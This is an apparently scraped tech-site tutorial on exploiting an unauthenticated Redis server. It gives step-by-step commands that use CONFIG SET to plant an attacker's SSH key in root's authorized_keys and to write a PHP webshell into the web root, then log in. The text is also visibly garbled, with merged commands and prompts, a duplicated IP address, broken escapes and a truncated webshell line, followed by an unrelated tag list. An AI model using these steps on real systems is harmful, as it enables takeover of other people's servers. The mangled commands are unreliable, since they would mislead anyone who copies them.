Get the App
SLTechnology News&Howtos  ›  Network Security  › 

Unauthorized access to Redis causes the server to be controlled

Shulou Source: shulou.com Published: 2022-06-01 05:29:14 10月04日 Update

By using nmap scanning, it is found that the service corresponding to a port is Redis, and then we can try to see if it is unauthorized!

First install Redis tools using the following command:

Root@kali:~# apt-get install redis-tools

Then use the following command to see if the access is unauthorized:

Root@kali:~# redis-cli-h 10.198.131.110.198.131.1purl 6379 >

Then we can use secret-free login to carry out the relevant *:

Generate the public key:

Root@lsy:~/.ssh# ssh-keygen-t rsaroot@lsy:~/.ssh# cat id_rsa.pub ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3lO+OSwj2zQuGON15ATfVwJAtLLbiswFoV/uqFHrw0BxaWSHTWgtrlzXyDen/ktDDBjfERlDys0vcZ3NQZ0/W+fWzbQkZbj/ABFsthhdQpdWWRz6wwOxY2tAKYhiZTcLchdFTnrU3+fkwD+im2W966A5UEZZmzTzTi/qA9BZwZghRrEx8Mr5+jVhQ8mYbR0QooggxTlafsavsBAG/aBTShoEanOuL4Pdx5aevmT3ydhwEJFwQQjBkARc8AUFY8cyS0/iPzT010uZYYHCPzhzm25QUSSbvIz9m7Mjwno72/OhKMCmVURkY4S1O4yXFzk+TlQ8P5jm+/pomKd++aPSn root@lsyroot@lsy:~/.ssh#

Write the public key to the remote server:

Root@lsy:~/.ssh# redis-cli-h 10.198.131.110.198.131.1CONFIG SET dbfilename authorized_keysOK10.198.131.1:6379 6379 > CONFIG SET dir / root/.ssh/OK10.198.131.1:6379 > CONFIG SET dbfilename authorized_keysOK10.198.131.1:6379 > set xxxx "\ n\ n\ nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3lO+OSwj2zQuGON15ATfVwJAtLLbiswFoV/uqFHrw0BxaWSHTWgtrlzXyDen/ktDDBjfERlDys0vcZ3NQZ0/W+fWzbQkZbj/ABFsthhdQpdWWRz6wwOxY2tAKYhiZTcLchdFTnrU3+fkwD+im2W966A5UEZZmzTzTi/qA9BZwZghRrEx8Mr5+jVhQ8mYbR0QooggxTlafsavsBAG/aBTShoEanOuL4Pdx5aevmT3ydhwEJFwQQjBkARc8AUFY8cyS0/iPzT010uZYYHCPzhzm25QUSSbvIz9m7Mjwno72/OhKMCmVURkY4S1O4yXFzk+TlQ8P5jm+/pomKd++aPSn root@lsy\ n\ n" OK10.198.131.1:6379 > saveOK10.198.131.1:6379 > exit

To log in remotely using ssh:

Root@lsy:~/.ssh# ssh 10.198.131.1

Secret-free login succeeded:

Upload webshell

# redis-cli-h 192.168.2.5-p 6379192.168.2.5 set webshell 6379 > config set dir / var/wwww/html192.168.2.5:6379 > config set dbfilename 1.php192.168.2.5:6379 > set webshell "192.168.2.5purl 6379 > save

Tags: Login service public key command server success mode port attempt generation control Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno NVidia Linux Shulou Tech Info MariaDB Shulou Information